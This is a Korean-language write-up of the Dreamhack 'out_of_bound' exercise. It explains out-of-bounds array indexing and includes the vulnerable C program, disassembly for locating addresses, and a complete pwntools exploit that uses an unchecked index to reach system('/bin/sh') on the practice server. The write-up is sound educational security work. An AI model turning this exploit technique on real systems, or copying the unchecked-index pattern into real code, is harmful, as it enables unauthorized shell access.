out_of_bound
○ Out Of Bound(OOB)
배열이나 리스트와 같은 데이터 구조에서 정의된 인덱스나 범위를 넘어선 위치에 접근하는 경우를 의미한다.
- 즉, 배열의 범위를 벗어나는 참조라 하여
Out of Bound
라고 부른다.
예를 들어보자.
char command[10]
이 있다고 하자. command[idx]
을 조회하는 과정에서 idx
를 10으로 입력하면 어떻게 될까?
command[10]
을 참조하는 상황이 발생한다.
command[10]
은 idx가 0~9만 존재한다. 하지만 9를 벗어나는 10을 참조하게 된다.
- 즉,
command[10]
의 영역을 벗어나는 메모리를 참조하게 된다.
이렇게 개발자가 의도하지 않은 메모리 영역을 참조하는 취약점을 Out of Bound
라고 한다.
만약, read/write 기능이 구현된 상황이라면 의도하지 않은 메모리 영역을 읽거나 조작할 수 있기 때문에 위험한 취약점이다.
문제를 통해 실습해보자.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
입력할 수 있는 변수는 name
과 idx
다.
idx를 지정할 수 있으므로 command 영역을 벗어나는 메모리를 참조할 수 있다.
- OOB 취약점이 발생한다.
- idx를 10 이상으로 설정해서 name을 참조할 수 있다.
공격 시나리오를 구성해보자.
○ 공격 시나리오
- name에 "/bin/sh" 주소를 저장
- idx를 name을 참조하도록 설정
system("/bin/sh")
실행
여기서 헷갈릴 수 있는 부분이 있다.
name에 "/bin/sh"
가 아닌 "/bin/sh"
주소를 저장한 것이다.
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
"/bin/sh"
주소를 저장한 이유는 command는 문자열을 담는 배열이 아니고 문자열 주소를 담는 포인터 배열이기 때문이다.
command는 포인터 배열이므로 배열에는 문자열이 아닌 문자열 주소가 들어간다.
즉, OOB로 "/bin/sh"
에 접근하기 위해서는 "/bin/sh"
를 저장하는 것이 아니라 "/bin/sh"
주소를 저장해야한다.
따라서, payload는 [name 주소 + 4] + "/bin/sh"
의 형태로 구성된다.
[name 주소 + 4]
을 저장하여 name의 첫 4바이트 값인 [name 주소 + 4]
를 가리키도록 유도한다.
[name 주소 + 4]
에는 "/bin/sh"
의 주소가 있다.
결론적으로 system 함수 인자는 "/bin/sh"
가 들어가고 system("/bin/sh")
가 실행되어 쉘을 획득할 수 있다.
0x080486f9 <+46>: add esp,0x10
0x080486fc <+49>: sub esp,0x4
0x080486ff <+52>: push 0x10
0x08048701 <+54>: push 0x804a0ac
0x08048706 <+59>: push 0x0
0x08048708 <+61>: call 0x80484a0 <read@plt>
read(0, name, sizeof(name))
코드다. name
주소를 구해보자.
<main+46 ~ 61>
을 보면 read()
의 2번째 인자인 name
주소가 0x804a0ac
라는 것을 확인할 수 있다.
0x08048734 <+105>: mov eax,DWORD PTR [ebp-0x10]
0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060]
0x0804873e <+115>: sub esp,0xc
0x08048741 <+118>: push eax
0x08048742 <+119>: call 0x8048500 <system@plt>
system(command[idx])
코드다. command
주소를 구해보자.
<main+108>
을 보면 system()
의 인자인 eax
가 [eax*4 + 0x804a060]
인 것을 볼 수 있다.
인자는 command[idx]
이므로 eax*4
는 인덱스 값이며 0x804a060 == [command addr]
임을 알 수 있다.
정리하면 다음과 같다.
name
== 0x804a0accommand
== 0x804a060
그렇다면, ([command addr] - [name addr])/4
는 command부터 name에 도달하기 위한 인덱스가 될 것이다.
값을 구하면 0x804a0ac - 0x804a060 = 4c = 76
이고 76/4 = 19
이므로 name에 접근하기 위한 인덱스는 19임을 알 수 있다.
exploit
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote("host3.dreamhack.games",17511)
e = ELF("./out_of_bound")
p.recvuntil("Admin name: ")
payload = p32(0x804a0ac+4) + b"/bin/sh"
p.sendline(payload)
p.recvuntil("What do you want?: ")
idx = "19"
p.sendline(idx)
p.interactive()
reference
dreamhack - [Out-of-boundary]